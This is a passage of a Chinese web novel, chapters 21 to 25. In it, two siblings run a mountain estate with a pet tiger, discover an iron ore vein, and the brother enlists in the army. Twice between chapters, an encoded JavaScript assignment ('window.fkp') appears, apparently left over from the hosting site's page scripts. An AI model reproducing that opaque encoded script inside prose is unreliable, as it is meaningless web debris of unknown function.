“山庄里的丘陵大多土地比较贫脊,只能用来放牧和种树,这些沟壑里的土地倒是不错,只是多数还没有开垦,日后要如何自然全凭小姐做主。”老者说着又把手指移向另一处地方接着说道:“倒是在这里,由于有一条源自山腰的小溪流过,所以在沟里开出了几十亩的果园,种了几种适应本地生长的果树,不过多数果树的树龄有些长了,再过两年就需要砍伐掉重新栽种了。” 老者又在地图上画了个圈说道:“小溪流到这里形成了两个不大的湖泊,湖里生长有不少的鱼虾,每年都能捕捞一些用来售卖。溪水在此处汇入了庄园边上的小河,从这里到这里的河段以及两岸的滩涂河堤,都归庄园所有,庄园里的土地灌溉就从这些地方取水。哦。这里,这里,还有这里,这几个地方建有汲水的水车。” “山丘上林木长了不少,农闲时采伐下来也是一个进项。到了冬日还可以把那些砍下来的树枝,还有不成材的树木烧成木炭,留作自用或是售卖。只是,要注意不要采伐过度,这样才能取之不尽,用之不竭。每年放牧的山羊还有鸡鸭肥猪也能卖一点钱。” “山腰上有一大一小两个山洞,大一些的里面比较平整,早已整理出来做了酒窖用来藏酒,现在洞内藏有自酿的酒水百十来坛。小些的山洞尚没有用处。” “……。” 老者一连说了一大堆的话,将山庄里的一应事物,事无巨细,一一的说给二人听。最后,老者拱手道:“山庄内需要向小姐交接的事项大概就是这些了,小姐若还有什么不明白的地方老朽再为小姐解答。” 杨落儿回道:“老伯方才所讲以十分详细,小女子并无疑问。” 老者道:“既如此,小姐请随老朽前往各处一一查验交接。” 接下来,几个人带着帐薄在老者的带领下,先看了院落中的各处房屋。杨落儿检查了门窗上的封条并无问题,老者取出钥匙打开房门,又看了屋内陈设的各色物品也都能跟帐上一一对应,并没有异常。验看完一处后,老者将钥匙取下交给杨落儿,杨落儿接过钥匙收了起来。 ……。 就这样几个人用了大半天的时间,把庄园内的一切事物仔细的交接完毕。 把庄园里的事务交接完毕后,老者告知杨落儿庄园所雇用的劳力全部来自庄园外的几个村镇,日后若有需要时,可以到镇上张贴告示雇佣劳力。 交接清楚后老者收拾好行李,牵着一头毛驴走出庄园,杨笑姐弟一行送至大门外。出了庄园大门,老者转身看了一眼庄园,向杨落儿说道:“杨小姐眼光独道,出手果断。若不是我家老爷家中生意遭遇变数,急需银两周转,又有杨校尉在当中做保,是断然不会出售这座庄园的。”杨落儿回了几句客套话。老者转身骑上毛驴远去了。 杨笑吃过饭后就迫不及待地骑了马带上小黑在庄园各处转了一圈,回来后就向姐姐兴高采烈地诉说着在庄园里的所见,杨落儿含笑静听。末了杨落儿摸着杨笑的头怜爱道:“在这里够你和你的小黑撒欢了吧?”杨笑自然是十分满意。就这样,姐弟二人在东沧县终于有了自己的家。 姐弟俩搬进蒲阳山庄后又会开始一段怎样的新生活?欲知后事如何,且听下回分解。 第二十二回 山庄里的新生活 冬去春来。话说姐弟二人自从搬入蒲阳山庄后就在镇上雇了许多劳力,把庄园周围的栅栏修缮一遍,又把庄园内的田地整理一番为播种做准备,就连湖泊与河边的堤坝也都重新扎牢固了。 山腰上的两个山洞,南面的是用来做酒窖的大山洞,山洞里的空间足在一座普通的四合院大小。山洞里冬暖夏凉,一年四季的温度波动很小,用来做酒窖当真是再合适不过。往东绕,在山的东面比大山洞略高一些的位置是那个暂时没有什么用处的小山洞。山洞里杂乱的铺了一些稻草,看来是在山上干活的长工们曾在里面临时避雨或是休息过。 杨落儿让人把小山洞打扫干净用来给小黑当做居住的巢穴。又叫人用围栏把整个后山全都围了起来,放小黑在里面活动。从此,后山就成了整个庄园的禁地。 王伯做了庄园里的管家,管理着山庄里的大小事务,每天给长工分派活计。王伯的儿子王大勇,每天清晨骑着马送杨笑到城里的私塾念书,傍晚的时候再去接杨笑回家,中间的时间就帮着父亲忙活。杨笑每天放学做完功课后也跟着姐姐和王伯学着管理庄园。王伯的老伴与儿媳则带领着雇来的一些妇人还有庄里新来的丫鬟们做活。丫鬟小翠除了照顾杨落儿的起居外,就是每天午饭后与王大勇一起到后山去给小黑喂食。 再说这小黑。小家伙儿越长越是有灵性,自从杨笑和姐姐杨落儿叮嘱了它只能在后山活动不能靠近围栏后,小黑就真的乖乖听话,每天只在后山逍遥自在。只是苦了后山山林里的飞禽走兽,没过多长时间就被小黑抓的抓,撵的撵,消失了个干干净净。翠儿和王大勇只好每天给它多带点食物。 每天午饭后,翠儿骑在马上,王大勇牵着马,两个人一起到山上给小黑送吃的。每到这个时候小黑总是早早的就等在洞口,远远的听见有有人过来,立刻就欢快的迎了出来,还在两个人面前跳来跳去的撒欢,有时候还会跟在两个人的身后摇头晃脑,好不高兴。 进了山洞,小翠和王大勇把十多条鲜活的大鲤鱼倒在一个石槽里,小黑见大鱼在石槽里活蹦乱跳的,上去就摁住一条大块朵颐起来。每次这个时候小翠就想伸手去摸它,小黑总是不愿意让她摸,身子往旁边一扭就躲开了。身子虽然躲开了,嘴巴却不动地儿。嘴巴里叨着鱼,嗓子里还发出低沉的呜呜声,摆出一幅凶狠的样子。小翠从小看他长大,住进山庄后又每天给它喂食,哪里会怕它这种故作姿态的样子?小姑娘把眉毛一扬,一手叉着腰,一手指着小黑气鼓鼓的嚷道:“好你个小黑,长大了你就翅膀硬了是不是?在小姐少爷跟前你是百依百顺,我摸摸你就不行,亏得我和王大哥还每天都来给你送吃的……。”小翠说着便捋起袖子,冲上前去硬是非摸不可。小黑不愿意让她在身上胡乱摸来摸去,可又舍不得眼前的美食,左扭右躲的,实在躲不过,就只好就范了。小翠于是在小黑身上一通乱揉,管它顺毛不顺毛的,还趴在小黑身上,把脸贴在它的背上一边摸着一边自言自语的念叨着:“好软,好暖,好舒服呀!”还露出一脸满足的样子。她自己摸还不算还招呼王大勇一块儿摸。王大勇于是嘿嘿的憨笑两声蹲在小黑身旁,顺着小黑的皮毛在它的脖颈上,一下一下轻轻的抚摸着。小黑在那里边吃边发出阵阵哀嚎,一副极不情愿的样子。看着它不情愿又没办法的样子,小翠就没来由的畅快。很快,小黑吃完了鱼立刻抖开小翠纵身跃出了山洞,气得小翠一跺脚,嘴里说一声:“你……。”也是一个不情愿又没有办法。 每天晚饭后,等山庄里的长工和仆役们全都下工离开后,山庄里就只剩下杨笑姐弟和王伯一家人,连家里新收的丫鬟佣人也全都住在庄外。这时候,杨笑就把小黑从山上领下来,一家人在院子里与小黑嬉戏一番。 蒌蒿满地芦芽短,正是河豚欲上时。 春天河滩上的芦苇出了头,这可是一道美味,杨落儿就叫人把芦芽采了拿到城里去卖,地里的粮食始终是山庄最主要的收入来源,自酿的酒卖的也不错,还有山庄里的瓜果也能卖一些钱,鸡鸭和山羊也多养了许多,只是这些鸡鸭山羊还有湖里的鱼,随着小黑一天天长大,就是卖的越来越少了。杨落儿只得让人扩大了鸡鸭山羊的养殖规模。 这一天山庄里的长工们干完活后都在树林下休息,谁也没有注意到少了一个人。而这时,山腰的酒窖前来了一个人,正是那个偷偷跑出来的长工。 这个长工干活也还算勤快,就是有些贪酒,这不,趁着大家休息的空档就想着悄悄地溜上山来偷偷的喝上一杯。 酒窖里光线昏暗。这人进入酒窖中拿了一小瓶酒,正要转身往外走,突然眼角余光瞥见一处角落的地上有一大堆黑影。这人上前几步定睛看去……。 这一看不要紧,差点没把他吓个半死。 原来地上正卧着一头皮毛油光发亮的黑色猛虎。那老虎的个头足足有一头半大的牛犊那么大,吓得他酒也不要了,连滚带爬,屁滚尿流地跑下山来。 到了山下,见那只老虎并未追来这才松了口气。这时才发现裤裆里面又湿又粘,原来是惊慌之中黄白之物拉了一裤裆,当真是骚臭难闻,害的他让同伴们笑话了半天。那人将方才所见与众人说了,大家伙儿哪里会信他的鬼扯,只当他是在给自己的糗事找借口。王伯在场听到后面色微变,忙命众人不得上山半步。 原来小黑虽说颇具灵性,乖巧听话,可毕竟还是一只畜生。这一天不知怎么的,越出围栏窜到了酒窖里,偷喝了两坛酒后醉倒在酒窖里睡着了。等姐弟二人带着小翠还有王大勇赶来时,这货还趴在那里呼呼大睡呢。几个人是又好气又好笑,费了好大的劲儿才把小黑弄醒,然后把它带回了后山的巢穴中。 几个人下山后对众人说道:哪有什么老虎,想来是那货上山偷酒,心里虚得慌,看花了眼,错把地上的一滩水渍看成了老虎。那个长工于是又被众人取笑一番,搞得他自己也是丈二和尚摸不着头脑,心想兴许真是自己看错了。 蒲阳山庄里的新生活忙碌而又快乐,山庄在杨落儿的精打细算下也经营得越来越有声有色。 蒲阳山庄里还会发生哪些有意思的事情呢?欲知后事如何,且听下回分解。 第二十三回 家里有矿 却说蒲阳山庄在杨落儿的精心打理下经营得有声有色。 经过最近大半年的修练,杨笑早已将龙虎功第三层修炼至圆满境界,只差一线就能进入第四层了。这些天杨笑一直休学在家,一个人躲在后山的山洞里日夜苦修,就是想要冲破龙虎功第三层到达第四层境界。 经过连日来的苦修,这天中午杨笑终于在丹田中凝聚出了第四条元气旋窝。看着四条细如发丝的元气旋窝在丹田之中互相缠绕,杨笑长舒出一口气。又将龙虎功运行了一个大周天,待新凝聚出来的第四条元气旋窝彻底稳固下来后才退出了修练。这时脑海里那个许久都没有出现的神密声音再次出现,“恭喜你进入练气中期。” “总算没有白费劲儿。”境界提升后杨笑的心情很是不错:“你不是说练气期三个阶段各有不同吗?为什么我到现在都没有感觉到?” 那个声音回答道:“练气期一至九层分为练皮肉,强筋骨,开经脉三个阶段。所练功法不同,三个阶段开始的层次也不尽相同,你所休练的龙虎功前三层为练皮肉,中间三层强筋骨,最后三层开经脉。初期练皮肉,会让人气血充胜,气力暴涨大异于常人,随着修为境界的增长气血和力量也会随之不断增长。有句话叫作“力拔山兮气盖世”,说的就是这一时期了。中期强筋骨,全身的筋骨经过天地元气的不断锤炼,会逐渐变的如钢筋铁骨一般,到时候就可以做到凡铁难伤。随着你日后修为境界的增长,体魄也全跟着更加强壮。你刚刚突破第三层进入练气期第四层,境界进步所带来的效果尚未显现,用不了多长时间,很快你就能感受到两个阶段的不同了。” 杨笑“哦”了一声:“原来如此。”杨笑沉吟了一声,发现脑海里的那个声音并没有继续说下去的意思,就开口问道:“哎?还有呢?开经脉会怎么样?” 谁知那个声音回他一了句:“不要好高骛远,等你练到了那个时候再来问我。” 杨笑在心里郁闷道:“我去!这就算好高骛远了!?” 那个声音没好气的回了他一句:“刚跨过第四层的门槛就想着第七层以后的事情,你这跟刚进大门就想着上床有什么区别?你总得先进屋再说吧?难不成在大门口就脱光了就地躺下?” 杨笑惊讶道:“这都能听见!?” 可惜那个声音不再理他了。 这还是那个声音第一次跟他说这样玩笑话,杨笑一直都以为它只是个没感情,没多少意识的东西,会说一些关于修练的话呢。 杨笑起身走出山洞,在太阳下伸了个懒腰,将连日苦修的疲惫一扫而光。杨笑活动了一下手脚,他现在能感受到的是进入第四层后,自己的力量比第三层强出不止一筹。现在自己若是运起功来就算是让人在身上划上一刀,恐怕最多也就是破点皮,流不了几点血的。 杨笑招呼一声小黑,小黑立刻就窜到了他的身边。杨笑翻身跃到小黑的背上,伸手摸摸它的头顶说道:“每天都在这后山里转悠,我也有些腻了,今天就带你去外面耍耍。”小黑闻言立刻两眼放光,兴奋不已。杨笑淡笑一声:“看来你还真能听懂人话。”说着双腿一夹,轻喝一声“走!”小黑立刻一跃而起,向山外奔去。 后山一路往东北方向是连片的丘陵,一直绵延到七八里外的大山脚下。这一带土地贫瘠慌无人烟,一人一兽在这一片沟壑丘陵间肆意游玩。 在一座土丘的半腰处,小黑追着一只蜥蜴玩耍。那只蜥蜴在小黑的追逐下窜来窜去,最后钻到一条石头缝里不见了,小黑在那里左闻闻右嗅嗅,嗅了半天后就用爪子挠起了土来。 杨笑在一旁见小黑傻傻的忙活个不停就拿话逗它,哪知小黑根本不理他,只是一个劲儿的在哪里挖着土,一副不把那只小东西挖出来誓不罢休的劲头。杨笑叫了小黑几次小黑都不理他,杨笑干脆搬了块石头坐在一边,他倒要看看这个家伙能挖到什么时候。 直到杨笑看的有些乏了,小黑才停了下来。从坑里爬出来后,小黑把嘴里叼着的一块石头丢到了杨笑的脚下,然后就开始抖身上的土。杨笑被小黑抖落的尘土呛的厉害,在脸前连连挥挥手试图驱散那些尘土。第风把尘土吹散后,杨笑拿起那块石头看了看。 这是一块通体暗红的石头,感觉它在分量上比普通的石头重了很多,除此之外就没有什么特别的了。 杨笑有些失望道:“合着累了半天,你就挖出这么块儿破石头呀!”说着就把那块石头随手丢了出去。见杨笑把石头丢掉,小黑立刻跑过去把那块石头捡了回来。杨笑再扔,小黑再捡。再次把石头丢到杨笑跟前后小黑在一边扑来跳去,像是跃跃欲试,好像很喜欢这个追石头的游戏。杨笑见小黑一副随时准备出击的样子就又把石头远远的扔了出去,小黑撒腿就追。如此反复几次就像是在逗一条小狗一样,一人一虎都玩的有些不亦乐乎。玩闹了一阵子,到了该回家的时间小黑却有些不乐意,想要再玩一会儿。杨笑见它这么执着只好无奈的说道:“好了!好了!不扔了,该回家了。把这块石头带回去,下次咱们再玩儿怎么样?。” 没一会儿,两个玩够了的家伙就回到了山庄里。杨笑兴高采烈地回到家里,大步跨进门口连声高喊着姐姐。 等进到客厅里,才看见姐姐正与一个妇人说话,那妇人的身后还站了一个少女。杨笑见有外人在,连忙闭了嘴,把手里的石头藏到了身后。 这个妇人乃是镇上曹保正的夫人。自从姐弟俩搬来庄园后,两家便渐渐的常有来往,不过杨笑白天在家里待的少,只是远远的见过曹夫人一两回。 杨落儿见弟弟又弄的一身土还一副嬉皮笑脸的样子,脸上就有些不高兴了。苛责道:“笑儿。如此忘形,成何体统?” 杨笑连忙收了喜色,向姐姐与曹夫人见礼。 杨落儿道:“你没见我正与曹夫人说话?没什么事的话就老老实实待在家里,不要到处乱跑。” 杨笑闷闷道:“哦。” 这时曹夫人问道:“这便是令弟不成?” 杨落儿微笑回答:“正是愚弟。” 曹夫人将杨笑上下打量一番夸道:“往常只是听说,今日一见令弟果然一表人才。” 杨落儿含笑客气道:“夫人过誉,让夫人见笑了。” 杨笑却在心里觉得好笑,这个曹夫人真是个嘴上抹蜜的,我现在这个样子也叫一表人才?灰头土脸的一表人才吗? “不知令弟年龄几何,可有婚配?” 杨落儿闻言忘了杨笑一眼,杨笑也望向姐姐。 杨落儿顿了顿道:“愚弟今年十四,婚约嘛……是自小定下的娃娃亲。” 曹夫人闻言面色稍顿似有婉惜之色,目光闪烁一下后又问道:“不知哪家姑娘有如此福气,姑娘家是哪里人士?长相如何呀?” 杨落儿微笑道:“乃是老家的同乡,人嘛自然是水灵灵的美人儿。”说着还看了杨笑一眼。 曹夫人闻言面色微微一滞,低头自语道:“哦,这样啊。”然后便起身向杨落儿告辞道:“天色不早了,既然你姐弟有话要谈,我母女便不打扰了。先告辞了。” 杨落儿回过礼,将曹夫人母女送出家门。 等杨落儿回到屋里,杨笑已经做好了挨姐姐一顿数落的准备,不曾想杨落儿只是皱眉拿目光盯着他。杨笑看到姐姐的神情后低下头也不说话。末了,杨落儿大概也是觉得对这个弟弟有些无可奈何,轻叹口气后问道:“你刚才进屋的时候手里拿的什么?”杨笑怯怯地把躲在后面的一只手递了过去。杨落儿瞅了一眼杨笑手里那块鹅蛋大小的赭红色的石头问道:“这是何物?” 杨笑说:“我也不知道是块儿什么石头,是小黑挖出来的,还死气白赖的非要我带回来,我就拿来给姐姐看了。” 杨落儿又把那块石头拿在手里翻看了一下,见这块石头入手极重应该不是一块普通的石头,就对杨笑说道:“你去把王伯请来。” 不一会儿,王伯来到厅内。看过那块石头后问杨笑:“少爷,这是从哪里来的?” 杨笑向屋外指了指随口说道:“后山啊!小黑挖出来的。” 杨落儿问:“王伯,这到底是块什么石头?” 王伯躬身道:“如果老奴没有看错的话,这应该是一块赤铁矿石,乃是一种不比三青镇矿石逊色的精铁矿石。而且,铁矿石这种东西一般不会孤零零的就出现这么一块儿的。” “当真?”杨落儿惊喜道。 “应该没有错。”王伯点点头慎重道:“如果那个地方能有矿脉的话可就真的要恭喜小姐,少爷了。” 第二天一早杨笑就带着王伯和王大勇来到那个小土丘上。那个有小黑一半身长的洞还在那里,三个人又顺着那个洞往下挖了一阵子,果然发现了大量的赤铁矿石。 “矿脉!是矿脉!少爷,极有可能是矿脉!”王伯看着手里的矿石高兴的叫道。 两个人一听说极有可能是矿脉,挖的就更起劲儿了。又挖了半天也没挖出矿体有多厚,王伯高兴道:“够了!够了!足够了!就是再小的一条矿脉也够咱们挖几辈子的了!” 杨落儿得到消息后立刻就乘车到城里找到杨豹,请杨豹陪她一起到县衙里,她要买下那片土地。 连杨豹都有些不解:“你买那些没用的荒坡做什么?”杨落儿只说是要多养些牛羊,怕庄园里的荒坡不够用。杨豹劝她:“那些荒坡都是无主之地,你要放牧尽管去就是了,没人会说什么。”杨落儿坚持要买下来,杨豹没办法只好依了她:“买下来也好,省的将来有什么麻烦事。” 有了杨虎、杨豹这层关系,买地的手续自然办得很顺利。县令还很大方的大笔一挥,把庄园外一直到山脚下的土地全划给了杨落儿,不但价格极其便宜,还赠送了好几座山头给她。最后,县令把刻有“东仓县正堂”的大印往刚写好的地契上一按,说道:“好了!现在那片地就是你的了,你就是在里面种出金子来也没人敢跟你抢。” 不多日,杨笑姐弟就招揽工匠开工建矿……。 就这样,姐弟俩将庄园经营得越来越红火,日子也过的越来越安逸幸福,连当年家里的不幸遭遇似乎都快淡忘了。 姐弟俩像这般安逸又充实的日子又能否长久呢?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十四回 投笔从戎 却说杨笑姐弟把蒲阳山庄经营的越来越兴旺,日子一天也比一天好了起来。 杨落儿原本以为日子就这样平静的过下去了,等再过一段时间给杨笑成了家,然后自己再嫁一个好人家,一切就都圆满了。至于那孟云羲,杨落儿早就把她忘到九霄云外去了,她认为自己这一家人与她孟云羲在这辈子都不可能再有交集了。 但世事无常总与愿违,杨落儿想要的平静注定长久不了。 这一天,杨豹带着妻子唐氏与嫂子吕氏,还有家里的子女们都来庄园里做客。杨落儿带着叔婶一家在庄园里赏景流玩。 两个婶子每次来都要把杨落儿夸赞一番:“瞧瞧。落侄女儿把这庄子经营的真是好,真真的像世外桃源一般,婶子我每回来了都不想走。”唐氏一边走一边夸着。 吕氏也夸道:“落侄女儿真是个能干的人儿。” 满脸喜色的杨落儿谦虚道:“侄女儿哪是什么能干的人,全凭叔叔婶婶们照顾,又有王伯一家相助,才有了今日这般气象,二位婶子若是喜欢就住在这里不要走了,侄女儿高兴还来不及呢!”几个孩子也嚷着要在这里多住几天。 一家人在庄园里游玩了一圈,刚回到院子里,就见杨笑闷闷不乐的走了进来。杨笑这些天来少有笑脸,杨落儿看在眼里却始终没有说过什么,今天终于是忍不住了,见杨笑进来就先问到:“笑儿,今天回来怎么这么早,这些天看你总是闷闷不乐,是不是有什么心事呀?” 杨笑向姐姐,叔婶还有几个兄弟姊妹一礼,张张嘴欲言又止。 杨落儿叫了杨笑坐在自己身边:“来先吃饭。”等杨笑坐下后,杨落儿问道:“笑儿,这几天是怎么了?” 杨笑犹豫了一阵子才面露难色的说道:“今年秋闱大考的皇榜张贴了。” 杨落儿给杨笑夹了一筷子菜:“然后呢?” 杨笑说道:“西梁境内只有寥寥几人勉强入围。” 杨落儿又问:“就这些?” 一边的唐氏却笑着打趣道:“我还以为咱们家笑儿是看上了哪家的姑娘,求之不得才心事重重呢。” 一旁的杨豹问道:“你是不是不能里解诺大的西梁怎么就出不了几个有文采的人?” 杨笑立刻道:“正是!而且侄儿听说不单单是今年,历年大考皆是如此。” 杨豹喝了口酒慢慢地说道:“这有什么好稀奇的,一来西梁境内本就尚武,重武轻文自然是难免的;二来朝廷本来就一直担心西梁境拥兵自重,如果再在文仕一途上让西梁出头的话,恐怕圣京城就真的要坐不住了。在官场仕途上,自然就要压你一头了。这个就叫作平衡,也是为什么西梁学子极少榜上有名的原因。” 杨豹的妻子唐氏遮嘴笑道:“呦!没想到咱们的百夫长大人还能有这般头脑,能说出这么多有大学问的话来。” 杨豹一时间没脸尴尬之色,好不容易在小辈们面前装一回一本正经的高深模样,没想到这么快就破相了。这可真是还没开始就结束了。 “我……我是从哥哥那里听来的。”杨豹尴尬的说道。 唐氏的插科打诨引的众人一阵笑声,却并没有让杨笑的心情好转几分。杨笑闷闷道:“果然跟我想的差不多。” 杨落儿最是了解自己这个弟弟,绝不会到这儿就没了下文的:“所以呢?你是有什么想法吗?” 听到姐姐问自己,杨笑似乎是下了个莫大的决心,他鼓了鼓胸中的一口气说道:“我不要读书了。” 杨落儿闻言淡淡道:“不想读那就不读了,也不是多要紧的事,在家里帮姐姐打理庄园,过平淡的日子也挺好。” 杨笑没有想到姐姐会这么平静,他本以为姐姐会训斥自己一顿。杨笑又鼓了口气说道:“我要去军中建功。” 杨落儿闻言立刻瞪了杨笑一眼:“好好的日子不过,去什么军中?我不允许!” 杨笑接过姐姐的话:“我已经在军中造册在案了。”说完似乎是放下什么沉重负担似的松了一口气。 杨落儿闻言只觉有如五雷轰顶,一时间愣在了当场。杨笑这些日子少有笑脸,杨落儿原本以为是学堂里学业繁重,谁曾想竟是这等晴天霹雳。 过了好一会儿杨落儿才回过神来,她有些不相信自己的耳朵:“你刚才说什么?”连这句话问的都小心依依,生怕再次听到那句自己无论如何都不愿意听到的话。 杨笑低着头小声的说道:“我已经报名了。” “啪嗒”一声,杨落儿手里的筷子掉在了地上。她颤颤地说:“你再说一遍。” “我已经在军营里报名……登记在册了。”杨笑躲避着姐姐的目光。 听到这句话杨落儿反而语气平静的说道:“把头抬起来。” 杨笑刚把头抬起来,就听“啪”的一声,结结实实地挨了姐姐一耳光。 以杨笑如今练就的龙虎功功力,这一巴掌根本就不会让他感到有多么的疼痛。如果要躲的话,杨落儿也不可能打得到他,只是他不敢躲也不能躲。因为他知道这样做会让姐姐伤心。他愧对姐姐。 这是杨笑长这么大以来杨落儿第一次打他。 杨落儿指着杨笑说道:“你知不知道你在干什么?” 杨笑低头不语。 杨落儿痛心道:“如今家中只你一脉单传,你做什么不好,非要学人家去从什么军!你可知道姐姐这些年来这么辛苦是为了什么?还不是想为你挣一份好家业,将来能过一辈子好日子。姐姐只盼着你日后能子孙满堂。你可倒好,一声不响的就要去从军,你要是在军中有个什么闪失,让我如何面对九泉之下的父母啊!”杨落儿说着眼眶里已有泪光闪动。她负气的在杨笑身上捶打起来。杨笑只是低着头任凭姐姐打骂。 等杨落儿打够了,杨笑为姐姐擦掉眼泪说道:“姐姐不要伤心。是我对不起姐姐。”杨落儿一下子又扑倒在桌子上哭泣起来。 这时,一旁的唐氏提醒道:“先不要着急,看你叔叔是不是能有什么办法。” 杨落儿犹如找到救星一般连忙到杨豹面前跪下:“还请叔叔搭救我兄弟。” 杨豹忙搀住杨落儿不让她跪下去。他转头望向杨笑问道:“你什么时候报的名?” 杨笑小声的说道:“已经快一个月了。” 杨豹摇头叹息道:“一个月,恐怕名单早已递到西梁城里去了。” 杨豹面带愧色对杨落儿说道:“侄女儿呀,不是叔叔不肯帮你,实在是西梁王早有军令,西梁境内但凡年满十五岁的男子,不论身份地位全都要到军中从役两年。听说,就连王府里的几位公子都曾在边关老老实实的当了三年马前卒,甚至还有一位在战场上受过不小的伤。有几位公子做表率,哪一个又敢逃军役,若是被抓到话……立时就要人头落地呀!” 杨落儿闻言,一下子瘫坐在地上,自言自语道:“原来是我把弟弟带入了这火坑之中。”说着心中自责不已,眼泪就像是断了线的珠子一样掉了下来。 两个婶子连忙上前劝解。杨豹也安慰道:“落侄女儿,你先不要哭,我与哥哥可在军中为笑儿上下活动,定不教他在军中受苦。只是两年时光,很快就会过去的。” 其实杨豹说这些话他自己心里也没有底。西梁王治下法纪严明,军令如山,哪有他兄弟俩这小小校尉和百夫长上下活动的地方。他自己上了战场都要听天由命,更何况是杨笑。杨豹之所以硬着头皮说这番话不过是看杨落儿在自己身边哭哭啼啼泣,哭的他自己也心慌难受,这才说出来安慰她的。说完这些话以后他就已经在心里祈祷着,希望杨笑这小子能够命大一些。 杨落儿听了这些话才止住了哭声:“但凭二位叔叔做主,若有用到银钱之处,侄女儿倾家荡产在所不惜。” 众人又安慰一番后便离去了。 是夜。杨落儿斜靠在床头上不住地自责落泪。杨笑端了一杯茶,进屋来到姐姐身边坐下:“姐姐,不要伤心了。”杨笑说着把茶水双手捧到姐姐面前。 杨落儿这时候哪有心思喝茶。接过茶水后放在一旁,搂住了杨笑的头说道:“都是姐姐害了你,早知道是这样,当初就不该带你来什么西梁了。待在家里就是受人欺辱,日子再苦好歹也比丢了性命强。” 杨笑安慰道:“姐姐不必过于担心,堂叔不是说会为我打点一切的吗。” 杨落儿止住眼泪:“话虽如此,可真到了疆场之上,山高路远,堂叔又能帮得上多少忙,只怕到时候刀剑无眼……。”杨落儿说着就又要掉眼泪。 杨笑坐直身子拍着胸膛说道:“姐姐不要忘了,当初那道士可是给了我一件宝甲护体,还在我身上留下好些乱七八糟的东西,说是会保我性命无虞的。” 杨落儿只当是杨笑又在说笑,想逗自己开心,就在杨笑的肩头打了一下:“哪有什么宝甲,看不见摸不着的,让人心里没底。”到底还是小女人心性。 杨笑跳起来说道:“不用说宝甲,就是我这一身功夫也不是轻易能受伤的。”说着撸起了袖子,从桌上拿起杨落儿的一根簪子:“姐姐你看。”说着就往手臂上刺了下去。 簪子应声而折。 杨落儿惊叫一声,连忙拉过杨笑的手臂仔细查看,却发现那条手臂上连一个痕迹都没有留下。 “哼!”杨落儿生气的白了杨笑一眼说道:“都什么时候了还来骗我。” 杨笑把手臂伸到姐姐面前:“姐姐要是不信,自己刺一下试试。” 杨落儿望了望杨笑的手臂心里还是不信。杨笑把胳膊往前伸了伸。 杨落儿又从头上取下一支簪子看着杨笑:“那我试试?” 杨笑自信道:“姐姐尽管刺。” 杨落儿试探着轻轻刺了一下。“大些力气。”杨笑说道。杨落儿就加了几分力气,见杨笑的手臂丝毫没有受伤的样子就又加了份力。杨笑笑道:“姐姐尽管全力来刺。”杨落儿一狠心,猛地扎了下去。这一次,连手里的簪子都给刺折了,而杨笑却是皮毛不伤。 杨落儿这才破涕为笑:“弟弟有这等神功护体,又有仙师保佑,只要在军中小心些定可平安归来。” 杨笑哈哈大笑道:“我此番到军中是要建功立业的。” 杨落儿没好气道:“你个傻小子,平平安安的回家不好吗?非要建什么功业,你逞那个能干什么!” 杨笑抿抿嘴:“科举无望,我要是不在军中有所成就拿什么去迎娶云羲。” 杨落儿一听到孟云羲的名字就有些气不打一处来:“你就非要娶那孟云羲不可吗?这天底下的好姑娘多的是,镇上保正的女儿不就是一个美人儿?前些日子婶子还说要把县令的侄女儿说给你,那也是个出落的十分标致的好姑娘。” 杨笑沉默不语。 杨落儿接着劝道:“是。你那云姐姐是天下少有的美人儿,可几年来孟家杳无音讯,说不定人家早已嫁做他人之妇,把你忘的干干净净了。这两个姑娘是不如她,可也是百里挑一的好姑娘啊。” 杨笑淡淡道:“云姐姐说会等我的,我们约定好了,等我功成名就的时候就能说服孟叔叔把云姐姐许配于我。” 杨落儿有些急了:“那都是年少无知,说出来的话做不得数的。” 杨笑定定地望着姐姐,语气坚定道:“年少无知的时候,心也是最真的。不是吗?” 杨落儿一时间哑口无言。 姐弟二人都沉默了下来。 过了一会儿,杨落儿叹了口气无奈道:“好吧,姐姐再托人帮你打听孟家的下落。” 杨笑拱手弯腰一步一步的退出了房间。 到底杨笑在军营里又会有哪番遭遇?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第二十五回 从军第一课 上回说到杨笑在军营里挂了号,一心要去从军。 转眼间,到军营报到的日子来了。 在西梁境,每年的农闲时节是新兵入营的时间,新兵的训练也都在农闲时进行,这样一来,既能让新兵们得到一定的训练,又不用耽误农耕种植。 这天杨笑早早的就来到东仓县军营外。在军营的大门外放了一张桌子,两个军官坐在桌子后。一个负责查验身份,另一登记造册发放身份牌。 大门前等待登记的人排起了长长的队伍,杨笑走到队尾依次排队。 正在等待间,有人在背后拍了拍杨笑的肩膀。杨笑回头,见是一个身形瘦弱的人对自己笑了笑说道:“兄弟,看你这身打扮是哪家的公子吧?” 杨笑回道:“你看错了,我可不是什么公子。” 那人摆摆手道:“你不用承认,我可是好心提醒你一下。”杨笑有些不明白他在说什么。那人接着说:“我听说这里的军营里有一个姓陈的军官,专门任责带新兵。” 杨笑问道:“那又怎么样?” 那人一边打量杨笑一边说道:“听说这个人向来看不惯富家公子哥,每每遇到都要狠狠的刁难一番。你穿这么一身儿……不是摆明了让人家来虐你吗?” 杨笑面露凝色。 那人冲杨笑身后努努嘴:“不信你看。这里这么多人,哪有第二个穿成你这样的?” 杨笑前后看了看,却实没看见有谁身上穿着稍好一点的衣服。但仔细看看还是能看出有几个人长的白白净净的,一眼就知道是没吃过什么苦。杨笑皱了皱眉头问道:“这样就能骗过那个军官的话,那他岂不就是傻子?” 那人砸吧一下嘴无语道:“你最起码装一下嘛!不然的话……那岂不是……不尊重人家在外头的名声吗?” 杨笑想想也是,就冲远处招招手,一个小斯跑了过来。等那小斯来到跟前,杨笑对他说道:“把你的衣服跟我换换。”那小斯左右看看有些为难道:“少爷,在这儿吗?” 